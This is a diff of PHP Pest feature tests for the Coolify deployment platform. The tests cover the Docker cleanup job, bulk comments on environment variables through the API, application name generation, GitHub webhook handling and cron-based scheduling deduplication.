||||
'is_usable' => true,
|
||||
'force_disabled' => true,
|
||||
]);
|
||||
|
||||
$job = new DockerCleanupJob($server);
|
||||
$job->handle();
|
||||
|
||||
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
|
||||
|
||||
expect($execution)->not->toBeNull()
|
||||
->and($execution->status)->toBe('failed')
|
||||
->and($execution->message)->toContain('not functional');
|
||||
});
|
||||
244
tests/Feature/EnvironmentVariableBulkCommentApiTest.php
Normal file
244
tests/Feature/EnvironmentVariableBulkCommentApiTest.php
Normal file
|
|
@ -0,0 +1,244 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'localhost',
|
||||
'comment' => 'Database host for production',
|
||||
],
|
||||
[
|
||||
'key' => 'DB_PORT',
|
||||
'value' => '5432',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Database host for production');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('updates existing environment variable comment', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'old-key',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'new-key',
|
||||
'comment' => 'Updated comment',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'API_KEY')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new-key');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('preserves existing comment when not provided in bulk update', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'SECRET',
|
||||
'value' => 'old-secret',
|
||||
'comment' => 'Keep this comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'SECRET',
|
||||
'value' => 'new-secret',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'SECRET')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new-secret');
|
||||
expect($env->comment)->toBe('Keep this comment');
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'REDIS_HOST',
|
||||
'value' => 'redis',
|
||||
'comment' => 'Redis cache host',
|
||||
],
|
||||
[
|
||||
'key' => 'REDIS_PORT',
|
||||
'value' => '6379',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST')
|
||||
->where('resourceable_id', $service->id)
|
||||
->where('resourceable_type', Service::class)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT')
|
||||
->where('resourceable_id', $service->id)
|
||||
->where('resourceable_type', Service::class)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Redis cache host');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
|
@ -3,6 +3,7 @@
|
|||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
|
|
@ -14,6 +15,8 @@
|
|||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
|
@ -24,7 +27,7 @@
|
|||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
|
@ -117,6 +120,35 @@
|
|||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('uses route uuid and ignores uuid in request body', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Service::class,
|
||||
'resourceable_id' => $service->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'new-value',
|
||||
'uuid' => 'bogus-uuid-from-body',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonFragment(['key' => 'TEST_KEY']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
|
||||
|
|
@ -191,4 +223,32 @@
|
|||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects unknown fields in request body', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'new-value',
|
||||
'uuid' => 'bogus-uuid-from-body',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonFragment(['uuid' => ['This field is not allowed.']]);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
22
tests/Feature/GenerateApplicationNameTest.php
Normal file
22
tests/Feature/GenerateApplicationNameTest.php
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
<?php
|
||||
|
||||
test('generate_application_name strips owner from git repository', function () {
|
||||
$name = generate_application_name('coollabsio/coolify', 'main', 'test123');
|
||||
|
||||
expect($name)->toBe('coolify:main-test123');
|
||||
expect($name)->not->toContain('coollabsio');
|
||||
});
|
||||
|
||||
test('generate_application_name handles repository without owner', function () {
|
||||
$name = generate_application_name('coolify', 'main', 'test123');
|
||||
|
||||
expect($name)->toBe('coolify:main-test123');
|
||||
});
|
||||
|
||||
test('generate_application_name handles deeply nested repository path', function () {
|
||||
$name = generate_application_name('org/sub/repo-name', 'develop', 'abc456');
|
||||
|
||||
expect($name)->toBe('repo-name:develop-abc456');
|
||||
expect($name)->not->toContain('org');
|
||||
expect($name)->not->toContain('sub');
|
||||
});
|
||||
70
tests/Feature/GithubWebhookTest.php
Normal file
70
tests/Feature/GithubWebhookTest.php
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
<?php
|
||||
|
||||
describe('GitHub Manual Webhook', function () {
|
||||
test('ping event returns pong', function () {
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', [], [
|
||||
'X-GitHub-Event' => 'ping',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('pong');
|
||||
});
|
||||
|
||||
test('unsupported event type returns graceful response instead of 500', function () {
|
||||
$payload = [
|
||||
'action' => 'published',
|
||||
'registry_package' => [
|
||||
'ecosystem' => 'CONTAINER',
|
||||
'package_type' => 'CONTAINER',
|
||||
'package_version' => [
|
||||
'target_commitish' => 'main',
|
||||
],
|
||||
],
|
||||
'repository' => [
|
||||
'full_name' => 'test-org/test-repo',
|
||||
'default_branch' => 'main',
|
||||
],
|
||||
];
|
||||
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', $payload, [
|
||||
'X-GitHub-Event' => 'registry_package',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('not supported');
|
||||
});
|
||||
|
||||
test('unknown event type returns graceful response', function () {
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [
|
||||
'X-GitHub-Event' => 'some_unknown_event',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('not supported');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GitHub Normal Webhook', function () {
|
||||
test('unsupported event type returns graceful response instead of 500', function () {
|
||||
$payload = [
|
||||
'action' => 'published',
|
||||
'registry_package' => [
|
||||
'ecosystem' => 'CONTAINER',
|
||||
],
|
||||
'repository' => [
|
||||
'full_name' => 'test-org/test-repo',
|
||||
],
|
||||
];
|
||||
|
||||
$response = $this->postJson('/webhooks/source/github/events', $payload, [
|
||||
'X-GitHub-Event' => 'registry_package',
|
||||
'X-GitHub-Hook-Installation-Target-Id' => '12345',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
// Should not be a 500 error - either 200 with "not supported" or "No GitHub App found"
|
||||
$response->assertOk();
|
||||
});
|
||||
});
|
||||
|
|
@ -1,222 +1,168 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
beforeEach(function () {
|
||||
// Clear any dedup keys
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('dispatches backup when job runs on time at the cron minute', function () {
|
||||
// Freeze time at exactly 02:00 — daily cron "0 2 * * *" is due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
|
||||
// Use reflection to test shouldRunNow
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed job when cache has a baseline from previous run', function () {
|
||||
// Simulate a previous dispatch yesterday at 02:00
|
||||
Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
|
||||
// lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch on subsequent runs within same cron window', function () {
|
||||
// First run at 02:00 — dispatches and sets cache
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
|
||||
$first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
// Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
|
||||
$second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
|
||||
it('fires every_minute cron correctly on consecutive minutes', function () {
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Minute 1
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
$result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
|
||||
expect($result1)->toBeTrue();
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
|
||||
// Minute 2
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
$result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
|
||||
expect($result2)->toBeTrue();
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
|
||||
// Minute 3
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
$result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
|
||||
expect($result3)->toBeTrue();
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not fire non-due jobs on restart when cache is empty', function () {
|
||||
// Time is 10:00, cron is daily at 02:00 — NOT due right now
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4');
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('fires due jobs on restart when cache is empty', function () {
|
||||
// Time is exactly 02:00, cron is daily at 02:00 — IS due right now
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Cache is empty (fresh restart) — but cron IS due → should fire
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b');
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not dispatch when cron is not due and was not recently due', function () {
|
||||
// Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
|
||||
Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5');
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('falls back to isDue when no dedup key is provided', function () {
|
||||
// Time is exactly 02:00, cron is "0 2 * * *" — should be due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue();
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('catches delayed docker cleanup when job runs past the cron minute', function () {
|
||||
Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at :22, but getPreviousRunDate() = :20
|
||||
// lastDispatched = :10 → :20 > :10 → fires
|
||||
$result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch docker cleanup within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
|
||||
it('seeds cache with previousDue when not due on first run', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1');
|
||||
expect($result)->toBeFalse();
|
||||
|
||||
// Verify cache was seeded with previousDue (02:00 today)
|
||||
$cached = Cache::get('test-seed:1');
|
||||
expect($cached)->not->toBeNull();
|
||||
expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00');
|
||||
});
|
||||
|
||||
it('catches next occurrence after cache was seeded on non-due first run', function () {
|
||||
// Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse();
|
||||
|
||||
// Step 2: Next day at 02:03 — delayed 3 minutes past cron.
|
||||
// previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('cache survives 29 days with static 30-day TTL', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static');
|
||||
expect(Cache::get('test-ttl:static'))->not->toBeNull();
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// No dedup key → simple isDue check
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC');
|
||||
expect($result)->toBeTrue();
|
||||
|
||||
// At 02:01 without dedup key → isDue returns false
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$result2 = $method->invoke($job, '0 2 * * *', 'UTC');
|
||||
expect($result2)->toBeFalse();
|
||||
// 29 days later — cache (30-day TTL) should still exist
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC'));
|
||||
expect(Cache::get('test-ttl:static'))->not->toBeNull();
|
||||
});
|
||||
|
||||
it('respects server timezone for cron evaluation', function () {
|
||||
// UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
|
||||
Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
|
||||
// That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
|
||||
$resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
|
||||
expect($resultSingapore)->toBeTrue();
|
||||
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire
|
||||
expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue();
|
||||
|
||||
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
|
||||
$resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
|
||||
expect($resultUtc)->toBeFalse();
|
||||
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire
|
||||
expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('passes explicit execution time instead of using Carbon::now()', function () {
|
||||
// Real "now" is irrelevant — we pass an explicit execution time
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
|
||||
